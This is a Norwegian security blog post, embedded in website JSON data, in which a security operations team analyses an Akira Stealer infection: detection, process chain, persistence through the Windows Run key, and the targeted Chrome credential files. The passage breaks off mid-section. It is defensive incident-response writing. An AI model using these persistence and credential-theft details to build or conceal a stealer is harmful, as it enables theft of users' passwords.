[{"data":1,"prerenderedAt":13651},["ShallowReactive",2],{"sc:header-data-no":3,"sc:footer-data-no":489,"post-no--posts-2025-06-16-quiet-breach-1445fe6971adcc":519,"authors_data":13065,"content-no-list-7b291c2dd91a4":13419,"authors_data:Pascal Asch":13648},{"lang":4,"home":5,"navigation":17,"meta":479,"contact":485},"de",{"name":6,"folderSwitch":7,"imgLight":10,"img":11,"languages":12},"home",[8,9],"authors","blog","/logos/gk-Logo-sw.svg","/logos/gk-Logo-rgb.svg",{"no":13},{"title":14,"url":15,"alt":16},"Hjem","/no","glueckkanja Logo",[18,127,231,316,395,402],{"name":19,"languages":20,"children":24},"workplace",{"no":21},{"title":22,"description":23},"Workplace","Microsoft 365-drevet for smarte, sikre og fleksible arbeidsplasser som samler moderne teknologi og identitetstjenester.",[25,55,91],{"name":26,"languages":27,"children":30},"portfolio",{"no":28},{"title":29},"Portfolio",[31,37,43,49],{"name":32,"languages":33},"managed-intune",{"no":34},{"title":35,"url":36},"Managed Intune","/no/entra-intune/managed-intune",{"name":38,"languages":39},"managed-entra",{"no":40},{"title":41,"url":42},"Managed Entra","/no/entra-intune/managed-entra",{"name":44,"languages":45},"managed-workplace",{"no":46},{"title":47,"url":48},"Managed Workplace","/no/workplace/managed-workplace",{"name":50,"languages":51},"consulting-services",{"no":52},{"title":53,"url":54},"Consulting Services","/no/workplace/consulting-services",{"name":56,"languages":57,"children":60},"microsoft-365-endpoint",{"no":58},{"title":59},"Microsoft 365 Endpoint",[61,67,73,79,85],{"name":62,"languages":63},"microsoft-entra-suite",{"no":64},{"title":65,"url":66},"Microsoft Entra Suite","/no/workplace/microsoft-entra-suite",{"name":68,"languages":69},"microsoft-intune",{"no":70},{"title":71,"url":72},"Microsoft Intune","/no/workplace/microsoft-intune",{"name":74,"languages":75},"microsoft-windows",{"no":76},{"title":77,"url":78},"Microsoft Windows","/no/workplace/microsoft-windows",{"name":80,"languages":81},"windows-365-cloud-pc",{"no":82},{"title":83,"url":84},"Windows 365 Cloud PC","/no/workplace/windows365-cloud-pc",{"name":86,"languages":87},"cloud-workplace-foundation",{"no":88},{"title":89,"url":90},"Cloud Workplace Foundation","/no/workplace/cloud-workplace-foundation",{"name":92,"languages":93,"children":96},"microsoft-365-collaboration",{"no":94},{"title":95},"Microsoft 365 Collaboration",[97,103,109,115,121],{"name":98,"languages":99},"microsoft-copilot",{"no":100},{"title":101,"url":102},"Microsoft 365 Copilot","/no/workplace/microsoft-365-copilot",{"name":104,"languages":105},"microsoft-teams",{"no":106},{"title":107,"url":108},"Teams","/no/workplace/microsoft-teams",{"name":110,"languages":111},"sharepoint-powerplatform",{"no":112},{"title":113,"url":114},"SharePoint & Power Platform","/no/workplace/sharepoint-power-platform",{"name":116,"languages":117},"exchange-online",{"no":118},{"title":119,"url":120},"Exchange Online","/no/workplace/exchange-online",{"name":122,"languages":123},"information-protection-compliance",{"no":124},{"title":125,"url":126},"Information Protection & Compliance","/no/workplace/information-protection-compliance",{"name":128,"languages":129,"children":133},"azure",{"no":130},{"title":131,"description":132},"Azure","Driv vekst med Azure: kutt cloud-kostnader, øk effektiviteten og skap innovasjon gjennom IaaS og PaaS.",[134,151,181],{"name":135,"languages":136,"children":138},"azure-portfolio",{"no":137},{"title":29},[139,145],{"name":140,"languages":141},"azure-managed-services",{"no":142},{"title":143,"url":144},"Azure Managed Services","/no/azure/azure-managed-services",{"name":146,"languages":147},"azure-consulting",{"no":148},{"title":149,"url":150},"Azure Consulting","/no/azure/azure-consulting",{"name":152,"languages":153,"children":156},"azure-scenarios",{"no":154},{"title":155},"Scenarier",[157,163,169,175],{"name":158,"languages":159},"plan-your-cloud",{"no":160},{"title":161,"url":162},"Planlegg cloud-en din","/no/azure/plan-your-cloud",{"name":164,"languages":165},"migrate-to-the-cloud",{"no":166},{"title":167,"url":168},"Migrer til cloud","/no/azure/migrate-to-the-cloud",{"name":170,"languages":171},"innovate-your-business",{"no":172},{"title":173,"url":174},"Forny virksomheten din","/no/azure/innovate-your-business",{"name":176,"languages":177},"vmware-exit",{"no":178},{"title":179,"url":180},"Tenk nytt om VMware-strategien din","/no/azure/vmware-exit",{"name":182,"languages":183,"children":186},"azure-practices",{"no":184},{"title":185},"Practices",[187,193,199,202,208,213,219,225],{"name":188,"languages":189},"azure-foundation",{"no":190},{"title":191,"url":192},"Azure Foundation","/no/azure/azure-foundation",{"name":194,"languages":195},"azure-ai-foundation",{"no":196},{"title":197,"url":198},"Azure AI Foundation","/no/azure/azure-ai-foundation",{"name":86,"languages":200},{"no":201},{"title":89,"url":90},{"name":203,"languages":204},"azure-data-foundation",{"no":205},{"title":206,"url":207},"Azure Data Foundation","/no/azure/azure-data-foundation",{"name":188,"languages":209},{"no":210},{"title":211,"url":212},"Azure Container Foundation","/no/azure/azure-container-foundation",{"name":214,"languages":215},"dark-tenant",{"no":216},{"title":217,"url":218},"Managed Dark Tenant","/no/azure/managed-dark-tenant",{"name":220,"languages":221},"azure-cloud-adoption-framework",{"no":222},{"title":223,"url":224},"Cloud Adoption Framework","/no/azure/cloud-adoption-framework",{"name":226,"languages":227},"azure-cloud-competence-center",{"no":228},{"title":229,"url":230},"Cloud Competence Center","/no/azure/cloud-competence-center",{"name":232,"languages":233,"children":242},"security",{"no":234},{"title":235,"description":236,"emergency":237},"Security","Årvåkenhet i cloud med en prisbelønt 24/7 managed service, incident response og moderne beskyttelse av infrastrukturen din.",{"text":238,"href":239,"skin":240,"icon":241},"Under angrep?","/no/security/are-you-under-attack","primary","emergency",[243,268,289],{"name":244,"children":245},"security-security-consulting",[246,252,256,262],{"name":247,"languages":248},"managed-red-tenant",{"no":249},{"title":250,"url":251},"Managed Red Tenant","/no/security/managed-red-tenant",{"name":214,"languages":253},{"no":254},{"title":255,"url":218},"Dark Tenant",{"name":257,"languages":258},"sentinel-data-lake",{"no":259},{"title":260,"url":261},"Sentinel Data Lake","/no/security/sentinel-data-lake",{"name":263,"languages":264},"security-consulting",{"no":265},{"title":266,"url":267},"Security Consulting","/no/security/security-consulting",{"name":269,"children":270},"security-cloud-security-operations-center",[271,277,283],{"name":272,"languages":273},"cloud-security-operations-center",{"no":274},{"title":275,"url":276},"Cloud Security Operations Center","/no/security/cloud-security-operations-center",{"name":278,"languages":279},"global-secure-access",{"no":280},{"title":281,"url":282},"Global Secure Access","/no/security/global-secure-access",{"name":284,"languages":285},"my-work-id",{"no":286},{"title":287,"url":288},"MyWorkID","/no/security/my-work-id",{"name":290,"children":291},"security-preventive-services",[292,298,304,310],{"name":293,"languages":294},"preventive-services",{"no":295},{"title":296,"url":297},"Preventive Services","/no/security/preventive-services",{"name":299,"languages":300},"data-security-services",{"no":301},{"title":302,"url":303},"Data Security Service","/no/security/data-security-service",{"name":305,"languages":306},"security-copilot-agents",{"no":307},{"title":308,"url":309},"Security Copilot Agents","/no/security/security-copilot-agents",{"name":311,"languages":312},"nis2",{"no":313},{"title":314,"url":315},"Innføre NIS2","/no/security/red-dark-tenant-nis2",{"name":317,"languages":318,"children":322},"products",{"no":319},{"title":320,"description":321},"Produkter","Innovative tilleggsprodukter for et fullstendig sikkert, 100 % cloud-native Microsoft-miljø som styrker samarbeid, nettverksautentisering og programvarehåndtering.",[323,360],{"name":324,"products":325,"children":326},"lorem ipsum 1",true,[327,336,344,352],{"name":328,"img":329,"target":330,"languages":331},"realmjoin","products/realmjoin/realmjoin-nav-logo.svg","_blank",{"no":332},{"title":333,"url":334,"subtitle":335},"RealmJoin","https://www.realmjoin.com","Cloud-basert programvaredistribusjon",{"name":337,"img":338,"target":330,"languages":339},"scepman","products/scepman/scepman-nav-logo.svg",{"no":340},{"title":341,"url":342,"subtitle":343},"SCEPman","https://www.scepman.com","Sertifikatdistribusjon fra cloud",{"name":345,"img":346,"target":330,"languages":347},"konnekt","products/konnekt/konnekt-nav-logo.svg",{"no":348},{"title":349,"url":350,"subtitle":351},"KONNEKT","https://www.konnekt.io","Jobb med dine lokale office 365-data",{"name":353,"img":354,"target":330,"languages":355},"realmigrator","products/realmigrator/realmigrator-nav-logo.svg",{"no":356},{"title":357,"url":358,"subtitle":359},"RealMigrator","https://www.realmigrator.com","Migrer dataene dine fra én server til en annen",{"name":361,"products":325,"children":362},"lorem ipsum 2",[363,371,379,387],{"name":364,"img":365,"target":330,"languages":366},"terraprovider","products/terraprovider/terraprovider-nav-logo.svg",{"no":367},{"title":368,"url":369,"subtitle":370},"TerraProvider","https://www.terraprovider.com","Terraform Provider for Microsoft 365",{"name":372,"img":373,"target":330,"languages":374},"radiusaas","products/radius/radius-nav-logo.svg",{"no":375},{"title":376,"url":377,"subtitle":378},"RADIUSaaS","https://www.radius-as-a-service.com","Autentisering for nettverket ditt",{"name":380,"img":381,"target":330,"languages":382},"unifiedcontacts","products/unified-contacts/unifiedcontact-nav-logo.svg",{"no":383},{"title":384,"url":385,"subtitle":386},"Unified Contacts","https://www.unified-contacts.com","Finn kontakter i Microsoft Teams",{"name":388,"img":389,"target":330,"languages":390},"autopilotmonitor","products/autopilot-monitor/AutopilotMonitor-nav-logo.svg",{"no":391},{"title":392,"url":393,"subtitle":394},"Autopilot Monitor","https://www.autopilotmonitor.com","Windows Autopilot-overvåking i sanntid",{"name":396,"languages":397},"casestudies",{"no":398},{"title":399,"url":400,"description":401},"Case Studies","/no/casestudies","Pioner i cloud: din fremste Microsoft-partner for omfattende cloud-løsninger med en Blueprint-basert tilnærming og Infrastructure-as-Code-kompetanse.",{"name":403,"languages":404,"children":407},"company",{"no":405},{"title":406,"description":401},"Selskap",[408,438,462],{"name":409,"languages":410,"children":413},"company-about-us",{"no":411},{"title":412},"Om oss",[414,420,426,432],{"name":415,"languages":416},"company-facts-figures",{"no":417},{"title":418,"url":419},"Fakta og tall","/no/company/facts-and-figures",{"name":421,"languages":422},"company-contact",{"no":423},{"title":424,"url":425},"Kontakt og lokasjoner","/no/company/contact-and-locations",{"name":427,"languages":428},"switzerland",{"no":429},{"title":430,"url":431},"glueckkanja Sveits","/no/company/switzerland",{"name":433,"languages":434},"austria",{"no":435},{"title":436,"url":437},"glueckkanja Østerrike","/no/company/austria",{"name":439,"languages":440,"children":443},"company-career",{"no":441},{"title":442},"Karriere",[444,450,456],{"name":445,"languages":446},"company-career-overview",{"no":447},{"title":448,"url":449},"Karriereoversikt","/no/career",{"name":451,"languages":452},"company-young-professionals",{"no":453},{"title":454,"url":455},"Young Professionals","/no/young-professionals",{"name":457,"languages":458},"company-jobs",{"no":459},{"title":460,"url":461},"Ledige stillinger","/no/job-offers",{"name":463,"languages":464,"children":467},"company-latest",{"no":465},{"title":466},"Siste nytt",[468,474],{"name":469,"languages":470},"company-blog",{"no":471},{"title":472,"url":473},"Blogg","/no/blog",{"name":469,"languages":475},{"no":476},{"title":477,"url":478},"Arrangementer","/no/events",[480],{"name":481,"languages":482},"career-meta",{"no":483},{"title":442,"url":449,"active":484},false,{"languages":486},{"no":487},{"title":488,"url":425,"active":484},"Kontakt",{"data":490},{"bgColor":491,"number":492,"mail":493,"brandLogos":494,"logos":495,"links":499,"linksNo":509},"var(--color-gk-mid-blue)","+49 69 4005520","info@glueckkanja.com",null,[496],{"img":10,"alt":16,"url":497,"class":498},"index.html","max-w-19rem",[500,503,506],{"title":501,"url":502},"Datenschutz","/de/privacy",{"title":504,"url":505},"Impressum","/de/imprint",{"title":507,"url":508},"No Cookies","/de/cookies",[510,513,516],{"title":511,"url":512},"Personvern","/no/privacy",{"title":514,"url":515},"Juridisk informasjon","/no/imprint",{"title":517,"url":518},"Ingen cookies","/no/cookies",{"id":520,"title":521,"author":522,"body":524,"cta":494,"description":535,"eventid":494,"extension":12938,"hideInRecent":484,"layout":12939,"meta":12940,"moment":12944,"navigation":325,"path":13056,"seo":13057,"stem":13058,"tags":13059,"webcast":484,"__hash__":13064},"content_no/posts/2025-06-16-quiet-breach.md","Inne i Akira Stealer: En fullstendig teknisk analyse av en modulær stealer",[523],"Pascal Asch",{"type":525,"value":526,"toc":12793},"minimal",[527,532,536,544,547,566,569,587,597,600,603,627,635,646,653,656,659,674,681,684,687,701,705,707,713,718,721,724,736,745,752,755,761,764,768,770,775,782,785,789,791,794,820,826,832,836,838,841,845,847,850,852,858,861,866,869,879,882,885,905,908,915,922,924,930,933,939,942,977,980,989,995,1004,1007,1018,1021,1028,1030,1039,1049,1081,1087,1092,1114,1120,1123,1126,1132,1140,1147,1149,1152,1163,1166,1200,1206,1233,1242,1245,1250,1259,1261,1270,1276,1293,1296,1301,1335,1339,1342,1345,1351,1365,1371,1377,1379,1384,1388,1390,1470,1473,1477,1479,1484,1490,1495,1504,1509,1514,1525,1528,1533,1542,1548,1551,1555,1557,1568,1573,1595,1601,1610,1621,1628,1634,1638,1640,1646,1672,1675,1689,1692,1701,1704,1708,1710,1718,1721,1724,1737,1747,1754,1775,1778,1784,1788,1790,1793,1802,1814,1839,1845,1851,1854,1861,1864,1877,1884,1886,1893,1897,1899,1905,2003,2010,2017,2019,2022,2045,2048,2078,2081,2123,2126,2135,2138,2155,2161,2164,2173,2176,2189,2196,2200,2202,2208,2230,2237,2271,2274,2289,2296,2301,2312,2315,2319,2321,2324,2339,2346,2357,2367,2404,2411,2414,2418,2420,2426,2431,2471,2474,2489,2492,2501,2507,2510,2514,2516,2519,2528,2531,2578,2585,2589,2591,2597,2602,2631,2638,2640,2656,2660,2662,2665,2704,2710,2716,2720,2722,2741,2751,2758,2795,2802,2848,2856,2860,2862,2865,2893,2903,2910,2912,2917,2921,2923,2929,2933,2935,2942,2968,2975,3235,3238,3243,3246,3278,3283,3287,3289,3292,3296,3298,3301,3403,3406,3410,3412,3415,3578,3581,3604,3608,3610,3619,3864,3867,3896,3900,3902,3935,3938,3941,3971,3975,3977,3983,3988,3991,4009,4012,4020,4025,4028,4108,4116,4119,4125,4133,4137,4139,4145,4150,4153,4170,4177,4182,4188,4250,4264,4269,4275,4302,4305,4343,4346,4351,4354,4368,4372,4374,4379,4399,4406,4412,4414,4418,4420,4426,4430,4432,4436,4438,4443,4470,4476,4480,4482,4488,4505,4531,4538,4542,4544,4547,4556,4570,4573,4577,4579,4592,4595,4604,4610,4617,4619,4623,4625,4635,4639,4641,4647,4661,4676,4680,4682,4762,4765,4772,4774,4779,4837,4844,4969,4972,5117,5121,5123,5126,5180,5183,5187,5189,5196,5249,5252,5256,5258,5261,5313,5316,5320,5322,5329,5381,5384,5388,5390,5397,5438,5441,5445,5447,5454,5536,5539,5543,5545,5548,5595,5598,5603,5606,5609,5613,5615,5620,5626,5631,5637,5642,5648,5653,5659,5664,6065,6069,6071,6112,6116,6118,6126,6130,6132,6142,6147,6172,6193,6198,6284,6288,6290,6383,6386,6392,6399,6401,6404,6459,6514,6521,6523,6526,6561,6595,6602,6604,6607,6640,6674,6681,6683,6686,6755,6800,6807,6809,6812,6840,6871,6878,6880,6883,6911,6933,6943,6945,6948,6973,7010,7014,7016,7049,7053,7055,7058,7061,7064,7067,7070,7075,7100,7105,7135,7141,7150,7172,7381,7385,7387,7394,7492,7495,7499,7501,7508,7601,7611,7617,7620,7625,7631,7659,7664,7694,7748,7767,7770,7775,7824,7828,7830,7833,7837,7839,7845,7965,7985,7989,7991,7996,8070,8091,8095,8097,8100,8103,8106,8109,8208,8216,8220,8222,8227,8262,8284,8288,8290,8293,8296,8304,8307,8395,8409,8413,8415,8418,8421,8514,8520,8522,8527,8531,8533,8536,8601,8618,8621,8655,8658,8662,8664,8669,8683,8728,8754,8759,8772,8848,8903,8907,8909,8912,8918,8959,8969,8975,8985,8989,8991,8994,9023,9050,9055,9059,9061,9068,9075,9077,9082,9137,9165,9169,9171,9174,9239,9246,9285,9289,9291,9297,9312,9315,9350,9354,9356,9363,9407,9421,9427,9434,9436,9439,9443,9445,9448,9482,9485,9510,9514,9516,9521,9524,9548,9572,9576,9578,9581,9605,9609,9611,9614,9634,9638,9640,9643,9650,9763,9768,9813,9817,9819,9826,9860,9915,9920,9923,9927,9929,9932,9936,9938,9941,9947,9951,9953,9956,10011,10026,10030,10032,10043,10112,10121,10126,10129,10173,10175,10179,10181,10184,10273,10278,10407,10411,10413,10416,10421,10494,10512,10517,10537,10545,10550,10556,10571,10588,10594,10652,10672,10677,10694,10699,10743,10757,10760,10764,10766,10771,10775,10777,10784,10791,10795,10797,10908,10915,10919,10921,10927,10932,11014,11021,11028,11032,11034,11037,11066,11073,11077,11079,11083,11085,11092,11095,11098,11101,11246,11249,11253,11255,11258,11262,11264,11267,11302,11308,11312,11314,11317,11343,11346,11352,11356,11358,11363,11380,11386,11390,11392,11396,11398,11414,11437,11444,11460,11479,11482,11486,11488,11499,11503,11505,11939,11942,11946,11948,11954,11957,11960,11966,11969,11980,11986,11989,11994,11998,12000,12003,12008,12022,12026,12028,12325,12328,12332,12334,12446,12449,12453,12455,12510,12513,12517,12519,12683,12686,12690,12692,12733,12736,12740,12742,12745,12748,12751,12754,12757,12760,12765,12769,12771,12774,12777,12780,12783,12786,12789],[528,529,531],"h1",{"id":530},"prolog","Prolog",[533,534,535],"p",{},"{: .h3-font-size}",[533,537,538,539,543],{},"Det begynte som så mange moderne angrep gjør: stille. En Defender-alert med lav konfidens, ",[540,541,542],"strong",{},"\"Suspicious sequence of exploration activities\"",", dukket opp under onboardingen av en ny kunde i vårt glueckkanja Cyber Security Operations Center (CSOC).",[533,545,546],{},"Det var ingen signaturtreff. Ingen malware-klassifisering. Ingen respons fra sanntidsbeskyttelsen. Bare én enkelt atferdskorrelasjon i Microsoft 365 Defender, begravd i støyen, og likevel umiskjennelig gal.",[533,548,549,550,554,555,558,559,562,563],{},"Mens jeg triagerte alerten, var det én bestemt handling som fanget oppmerksomheten min: ",[551,552,553],"code",{},"python.exe"," hadde åpnet både ",[551,556,557],{},"Login Data"," og ",[551,560,561],{},"Web Data"," i en Chromium-profil. Microsoft Defender eskalerte dette umiddelbart til en hendelse med høy alvorlighetsgrad, ",[540,564,565],{},"\"Possible theft of passwords and other sensitive web browser information.\"",[533,567,568],{},"Dette var ingen falsk positiv. Det var toppen av noe dypere.",[533,570,571,572,575,576,579,580,583,584,586],{},"Da jeg sporet telemetrien bakover, fant jeg en generisk binary i oppstartsmappen, ",[551,573,574],{},"Updater.exe",", som startet en NodeJS-basert wrapper (",[551,577,578],{},"main.exe",") som kjørte en kommandolinje for å starte et skript ved navn ",[551,581,582],{},"astor.py"," via ",[551,585,553],{},".",[588,589,595],"pre",{"className":590,"code":592,"language":593,"meta":594},[591],"language-text","Updater.exe → main.exe → cmd.exe → python.exe Crypto\\Util\\astor.py\n","text","",[551,596,592],{"__ignoreMap":594},[533,598,599],{},"Skriptet skrapet ikke bare credentials, det kjørte en sekvens med rekognoseringssteg etter kompromitteringen, blant annet registerspørringer, systemfingeravtrykk og rettighetsbevisst enumerering. Det arbeidet med kirurgisk presisjon og etterlignet systemets egen atferd for å unngå deteksjon. Og det virket, nesten.",[533,601,602],{},"Ved første respons var situasjonen slik:",[604,605,606,616,624],"ul",{},[607,608,609,611,612,615],"li",{},[551,610,574],{}," ble flagget av bare ",[540,613,614],{},"1 av 69"," motorer på VirusTotal.",[607,617,618,620,621,623],{},[551,619,578],{},", ",[551,622,582],{}," og alle tilhørende komponenter ble praktisk talt ikke flagget på VirusTotal.",[607,625,626],{},"Ingen filer var signert. Ingen forhøyet kontekst. Bare \"vanlige\" prosesser som gjorde svært uvanlige ting.",[533,628,629,631,632,634],{},[551,630,574],{}," rørte ikke credentials. Den oppgaven var reservert for ",[551,633,582],{},", Python-payloaden som kjørte i minnet, en fil som etter design nesten ikke etterlot spor.",[533,636,637,638,641,642,645],{},"I løpet av ",[540,639,640],{},"21 minutter"," var det berørte systemet isolert fra nettverket. I løpet av ",[540,643,644],{},"70 minutter"," var credentials rotert på tvers av alle berørte områder: interne identiteter, SaaS-plattformer, tredjepartstjenester.",[533,647,648,649,652],{},"Men det virkelige vendepunktet kom da vi hentet ut og dekrypterte Python-payloaden i sin helhet. Det vi fant, var ingen generisk stealer, det var en skreddersydd utrulling av ",[540,650,651],{},"Akira Stealer v2",", en kommersielt distribuert malware-familie som selges via Telegram.",[533,654,655],{},"Takket være vår egen threat intelligence og reverse engineering-kompetanse kunne vi rekonstruere hele funksjonaliteten til denne malwaren, hente ut alle innebygde indikatorer og forstå logikken for staging, eksfiltrering og utvelgelse av credentials i detalj.",[533,657,658],{},"Enda viktigere: vi stoppet ikke ved teknisk attribusjon. Vi gikk lenger.",[533,660,661,662,665,666,669,670,673],{},"Vi kunne gi kunden et ",[540,663,664],{},"komplett datasett over eksfiltrerte credentials",": over ",[540,667,668],{},"100 unike kombinasjoner av brukernavn og passord",", inkludert tilgang til skytjenester, CRM-systemer, interne plattformer og til og med personlige verktøy som nøkkelmedarbeidere brukte. Tyveriet hadde pågått i ",[540,671,672],{},"flere måneder",", og vi kunne gjøre rede for alt sammen.",[533,675,676,677,680],{},"Med innsiktene fra denne saken bygde vi et ",[540,678,679],{},"analyseverktøy for tiden etter infeksjonen"," som skanner berørte systemer, rekonstruerer mønstrene for tilgang til credentials og genererer detaljerte forensiske rapporter, som viser nøyaktig hva som ble stjålet, når og hvorfra.",[533,682,683],{},"Vi gir deg et glimt av den skanneren mot slutten av rapporten.",[533,685,686],{},"For dette er mer enn bare en hendelse.\nSlik etterforsker vi. Slik beskytter vi.",[533,688,689,697,700],{},[540,690,691,692,586],{},"Velkommen til ",[693,694,696],"a",{"href":695},"/no/security/cloud-security-operations-center/","glueckkanja CSOC",[698,699],"br",{},"\nSlik jobber vi, for innbrudd venter ikke.",[528,702,704],{"id":703},"_1-opprinnelig-hendelse-og-oppsummert-triage","1. Opprinnelig hendelse og oppsummert triage",[533,706,535],{},[533,708,709,710,712],{},"Den 31. mars 2025 genererte Microsoft Defender for Endpoint en alert med etiketten ",[540,711,542],{}," på et Windows 10 64-bits endpoint. Jeg startet triagen ut fra dette signalet og gjennomgikk det berørte systemet ved hjelp av prosesstreet, systemets tidslinje og bevisene Defender hadde korrelert.",[714,715,717],"h2",{"id":716},"_11-tidslinjebasert-triage","1.1 Tidslinjebasert triage",[533,719,720],{},"{: .h4-font-size}",[533,722,723],{},"Alerten pekte på en sekvens av prosesser som fortjente nærmere inspeksjon. I den første gjennomgangen observerte jeg følgende tilgangsmønstre til Chrome-nettleserdata i den lokale brukerprofilen:",[604,725,726,731],{},[607,727,728],{},[551,729,730],{},"%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Login Data",[607,732,733],{},[551,734,735],{},"%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Web Data",[533,737,738,739,741,742,744],{},"Disse tilgangene ble initiert av en prosess ved navn ",[551,740,574],{},". Selv om Microsoft Defender ikke hadde flagget denne binaryen ut fra heuristisk eller atferdsbasert analyse, fant jeg en deteksjon for ",[551,743,574],{}," på VirusTotal, flagget av én enkelt motor på det tidspunktet.",[533,746,747],{},[748,749],"img",{"alt":750,"src":751},"Microsoft Defender","https://res.cloudinary.com/c4a8/image/upload/v1749797184/blog/pics/microsoft-defender.png",[533,753,754],{},"Hele den observerte kjøringskjeden så slik ut:",[588,756,759],{"className":757,"code":758,"language":593,"meta":594},[591],"winlogon.exe\n└── userinit.exe\n    └── explorer.exe\n        └── Updater.exe\n            └── main.exe\n                └── cmd.exe /d /s /c \"python.exe Crypto\\Util\\astor.py\"\n                    └── python.exe Crypto\\Util\\astor.py\n",[551,760,758],{"__ignoreMap":594},[533,762,763],{},"På dette stadiet var det ikke gjort noen dypere statisk eller dynamisk analyse av filene som var involvert. Fokuset mitt lå på å forstå atferden og konteksten på overordnet nivå. Prosessnavnene og filstiene var generiske, og det fantes ingen mistenkelige kommandolinjeargumenter utover den kjedede Python-kjøringen.",[714,765,767],{"id":766},"_12-første-respons","1.2 Første respons",[533,769,720],{},[533,771,637,772,774],{},[540,773,640],{}," etter den første alerten satte jeg i gang isolering av verten med isoleringsfunksjonene i Defender for Endpoint. Målet var å hindre videre spredning eller eksfiltrering.",[533,776,777,778,781],{},"I løpet av de første ",[540,779,780],{},"70 minuttene"," gikk vi videre med å rotere de credentials vi visste ble brukt på den berørte verten, noe som dekket interne systemer, SaaS-plattformer og kritiske tredjepartsleverandører.",[533,783,784],{},"Reverse engineering-arbeidet startet etter den første inneslutningen. De følgende avsnittene dokumenterer den tekniske dybdeanalysen som fulgte for å etterforske innbruddet.",[714,786,788],{"id":787},"_13-oppsummert-respons-rask-transparent-effektdrevet","1.3 Oppsummert respons: rask, transparent, effektdrevet",[533,790,720],{},[533,792,793],{},"Responsen vår kombinerte tempo, fagkunnskap og operativ gjennomføring, understøttet av innarbeidede arbeidsflyter og full innsikt for kunden.",[604,795,796,802,808,814],{},[607,797,798,801],{},[540,799,800],{},"Fra deteksjon til full inneslutning på under 90 minutter","\nDefender-alerter, nettverksisolering, antivirusskanning og tilbakekalling av credentials ble utført raskt og samordnet.",[607,803,804,807],{},[540,805,806],{},"Forensisk dybderespons innen 48 timer","\nInkludert full disk- og minneanalyse, gjennomgang av nettleserartefakter, deteksjon av credential dumping og atferdsmessig rekonstruksjon av angriperens aktivitet.",[607,809,810,813],{},[540,811,812],{},"Sikker datagjenoppretting og bevishåndtering","\nDe stjålne dataene, blant annet cookies, passord, tokens og nettleserprofiler, ble gjenopprettet, forensisk arkivert og overlevert sikkert til kunden.",[607,815,816,819],{},[540,817,818],{},"Full innsikt og kommunikasjon hele veien","\nHvert steg, fra første alert til utbedring og debrief, ble dokumentert i sin helhet, delt i sanntid og oppsummert i en strukturert CSIRT-overlevering.",[821,822,823],"blockquote",{},[533,824,825],{},"Denne hendelsen viser hvordan glueckkanja CSOC ikke bare stopper malware, vi demonterer virkningene av den, gir kundene våre kontrollen tilbake og gjør hver hendelse om til innsikt.",[827,828],"div",{"className":829},[830,831],"space-top-1","space-bottom-1",[528,833,835],{"id":834},"_2-malware-arkitektur-og-oversikt-over-kjøringskjeden","2. Malware-arkitektur og oversikt over kjøringskjeden",[533,837,535],{},[533,839,840],{},"Malwaren som ble observert på det berørte endpointet, fulgte en strukturert flertrinnsarkitektur med tydelig ansvarsdeling: utrulling, dekoding, kjøring og dataeksfiltrering.",[714,842,844],{"id":843},"_21-oversikt-over-kjøringskjeden","2.1 Oversikt over kjøringskjeden",[533,846,720],{},[533,848,849],{},"Den observerte kjøringsflyten så slik ut:",[533,851,574],{},[588,853,856],{"className":854,"code":855,"language":593},[591],"​   └── main.exe\n​       └── cmd.exe\n​           └── python.exe astor.py\n",[551,857,855],{"__ignoreMap":594},[533,859,860],{},"Hver komponent i kjeden bidro til skjulthet, modularitet og unnvikelse. Arkitekturen utnyttet legitime runtimes og standardtolkere i operativsystemet for å omgå deteksjonsmekanismer.",[862,863,865],"h3",{"id":864},"_211-usikkert-opphav-manglende-initial-vektor","2.1.1 Usikkert opphav: manglende initial vektor",[533,867,868],{},"{: .font-size-4}",[533,870,871,872,875,876,586],{},"Til tross for omfattende analyse av miljøet etter kompromitteringen lot den initiale tilgangsvektoren seg ikke fastslå med sikkerhet. Usikkerheten skyldes først og fremst at malwaren hadde vært aktiv i anslagsvis ",[540,873,874],{},"seks måneder før den ble oppdaget",", altså lenger enn ",[540,877,878],{},"loggoppbevaringstiden Microsoft Defender for Endpoint håndhever",[533,880,881],{},"Dermed fantes det verken telemetri eller forensiske artefakter fra det opprinnelige infeksjonstidspunktet. Ingen opprinnelige prosessopprettelseshendelser, fildropp eller kommandolinjeoppføringer knyttet til leveransefasen lot seg gjenopprette fra Defenders tidslinje eller tilhørende sensorer.",[533,883,884],{},"Ut fra kontekstuelle indikatorer og OSINT-kilder kan en sannsynlig infeksjonsvektor ha involvert:",[604,886,887,893,899],{},[607,888,889,892],{},[540,890,891],{},"Trojaniserte installasjonsprogrammer"," for cracket eller moddet spillprogramvare",[607,894,895,898],{},[540,896,897],{},"Falske verktøy"," eller \"ytelsesboostere\" distribuert via forum og tredjepartssider",[607,900,901,904],{},[540,902,903],{},"Skadelige nettleserutvidelser"," rettet mot bestemte brukerinteresser (for eksempel kryptorelaterte verktøy eller Discord-utvidelser)",[533,906,907],{},"Dette er imidlertid fortsatt spekulasjon.",[533,909,910,911,914],{},"Ingen bekreftet dropper, phishing-e-post eller kompromittert nettside lot seg identifisere i etterforskningen. Selv om malware-arkitekturen og kjøringskjeden ble rekonstruert i sin helhet, lot ",[540,912,913],{},"det initiale kompromitteringspunktet (MITRE ATT&CK T1190 / T1566)"," seg ikke validere.",[862,916,918,919,921],{"id":917},"_212-updaterexe-initial-loader","2.1.2 ",[551,920,574],{}," - Initial loader",[533,923,868],{},[533,925,926,927,929],{},"Da jeg gikk gjennom prosesstreet i Microsoft 365 Defender, stakk ",[551,928,574],{}," seg umiddelbart ut, ikke på grunn av hva den gjorde, men hvor stille den plasserte seg i systemets kjøringsflyt.",[533,931,932],{},"Denne binaryen var registrert for automatisk kjøring via standard Run-nøkkelen i Windows:",[588,934,937],{"className":935,"code":936,"language":593},[591],"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n",[551,938,936],{"__ignoreMap":594},[533,940,941],{},"Det betydde at den ble startet hver gang brukeren logget inn i sesjonen sin, en klassisk persistensmekanisme som ikke krever forhøyede rettigheter og ofte slipper ubemerket gjennom i EDR-telemetri.",[604,943,944,950,956,962,968],{},[607,945,946,949],{},[540,947,948],{},"Filtype",": Windows PE-kjørbar fil (32-bit)",[607,951,952,955],{},[540,953,954],{},"Signatur",": Usignert",[607,957,958,961],{},[540,959,960],{},"VirusTotal-deteksjon",": 1 av 69 motorer på triagetidspunktet",[607,963,964,967],{},[540,965,966],{},"Kjøringskontekst",": Medium integritet, brukersesjon",[607,969,970,973,974],{},[540,971,972],{},"Plassering",": 